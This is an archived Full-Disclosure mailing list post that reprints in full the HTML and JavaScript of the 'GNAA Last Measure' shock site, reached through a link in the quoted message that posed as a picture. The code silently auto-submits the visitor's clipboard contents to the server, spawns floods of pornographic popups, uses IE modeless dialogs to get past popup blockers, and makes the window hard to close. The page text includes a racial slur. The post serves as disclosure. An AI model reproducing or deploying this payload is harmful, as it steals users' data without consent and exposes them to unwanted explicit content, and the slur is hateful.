| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
From: kf_lists at secnetops.com (Kevin Finisterre)
Subject: this is fun?
Um yeah... fun.
404 error then to this form which auto submits:
<html><head><title>GNAA Last Measure version 3.4</title></head><body>
<form name="clip" method="post" action="index.php"
style="display:none">
<input type="text" name="content">
<input type="hidden" name="send" value="1">
<input type="hidden" name="refer" value="">
<input type="hidden" name="user" value="">
<input type="submit">
</form>
<script language="javascript">
// without this if statement check, it bombs out with an error
if (typeof clipboardData != 'undefined') {
var content = clipboardData.getData("Text");
document.forms["clip"].elements["content"].value = content;
}
document.forms["clip"].submit();
</script>
</body></html>
Then this code:
<html>
<head>
<meta name="generator" content=
"HTML Tidy for Linux/x86 (vers 1st March 2004), see www.w3.org">
<title>Our lawyer has informed us that we need a warning. So, if
you are under the age of 18 or find this offensive, please leave
immediately</title>
<script language="JavaScript" type="text/javascript">
window.name = 'lastmeasure';
function altf4key() { if (event.keyCode == 18 || event.keyCode == 115)
alert("Our lawyer has informed us that we need a war
+ning. So, if you are under the age of 18 or find this offensive, please
leave immediately"); }
function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has
informed us that we need a warning. So, if you are unde
+r the age of 18 or find this offensive, please leave immediately"); }
function delkey() { if (event.keyCode == 46) alert("LAST MEASURE BY
PENISBIRD, Rolloffle, and Rucas.\nStarring:\nSpin\nTubg
+irl\nLemonparty\nBob Goatse\nPenisbird\nPillowfight\nChristmas\nRusty's
Wife\nWhat the fuck? That guy's ass is showing in
+his baby's picture!\n\n\nTotal, complete, all-versions, popup blocker
bashing-to-pieces by goat-see\nnhey.swf by rkz\nPROP
+S TO GNAA. LOL HY --DiKKy (GNAA NORWAY CORRESPONDANT)"); }
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
var goat = 0;
/*
let's figure out what the fuck kind of browser the poor plebs are using :(
MSIE gets a special kind of last measure where I start off with a
ModelessDialog and pop up from it. Gets around google toolbar. --
goat-see */
var nom = navigator.appName.toLowerCase();
var agt = navigator.userAgent.toLowerCase();
var is_major = parseInt(navigator.appVersion);
var is_minor = parseFloat(navigator.appVersion);
var is_ie = (agt.indexOf("msie") != -1);
var is_ie4up = (is_ie && (is_major >= 4));
var is_nav = (nom.indexOf('netscape')!=-1);
var is_nav4 = (is_nav && (is_major == 4));
var is_mac = (agt.indexOf("mac")!=-1);
var is_gecko = (agt.indexOf('gecko') != -1);
// GECKO REVISION
var is_rev=0
if (is_gecko) {
temp = agt.split("rv:")
is_rev = parseFloat(temp[1])
}
function procreate(){
if(window.opener) {return 0;} // fuck procreating like rabbits -- goat-see
// sleep("1");
popUp("christmas.php");
popUp("lemonparty.php");
popUp("penisbird.php");
popUp("pillowfight.php");
popUp("tubgirl.php");
popUp("spin.php");
popUp("freak.php");
popUp("rustina.php");
popUp("loopback.php");
popUp("eww.php");
popUp("weightlifter.php");
}
function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus()}
function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}
function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}
function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}
function popUp(URL) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '_blank',
'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,widt
+h=640,height=583');");
}
function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
</script>
</head>
<body background="hello.jpg" bgcolor="#FFFFFF" onmousemove=
"playBall();" onLoad="playBall();"
leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<form><input type="submit" value="CLICK ME" name="CLICK ME"
style="width: 2000px; height: 2000px; background-image: url('po+oped.jpg'
);"
src="hello.jpg" height="300" width="300" onmouseover="if(is_ie)
{showModelessDialog('procreator.php'); return true; }docume
+nt.goatse
.reset();playBall();return true;"
onclick="if(is_ie) {showModelessDialog('procreator.php'); return true; }
playBall();return true;"
onmouseout="if(is_ie) {showModelessDialog('procreator.php'); return
true; } else{procreate();} playBall();return true;">
<img src="pooped.jpg" onmouseover=
"if(is_ie) {showModelessDialog('procreator.php'); return true; }
procreate();playBall();return true;"
onmouseout="if(is_ie) {showModelessDialog('procreator.php'); return
true; }">
<big><b>GNAA > j00</b></big><br>
fristage postage is mine <object classid=
"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase=
"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
width="1" height="1" id="hey" align=""><param name="movie" value=
"hey.swf">
<embed src="hey.swf" width="1" height="1" name="hey" align="" type=
"application/x-shockwave-flash" pluginspage=
"http://www.macromedia.com/go/getflashplayer"></object>
<br>
Lastmeasure last measure last-measure nero institute</form>
<form name="goatse" onreset="procreate();" onsubmit="procreate();"
action="" id="goatse">
<p><span style=
"background-color: #ffffff; border: thin solid; color: #000000;">GNAA
Gay Niggers Timecop</span></p>
</form>
</body>
</html>
-KF
Brandy Simon wrote:
> http://picserv.on.zoy.org/IM39571.jpg
>
> Make sure your speakers are turned down if yo are at work.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
Powered by blists - more mailing lists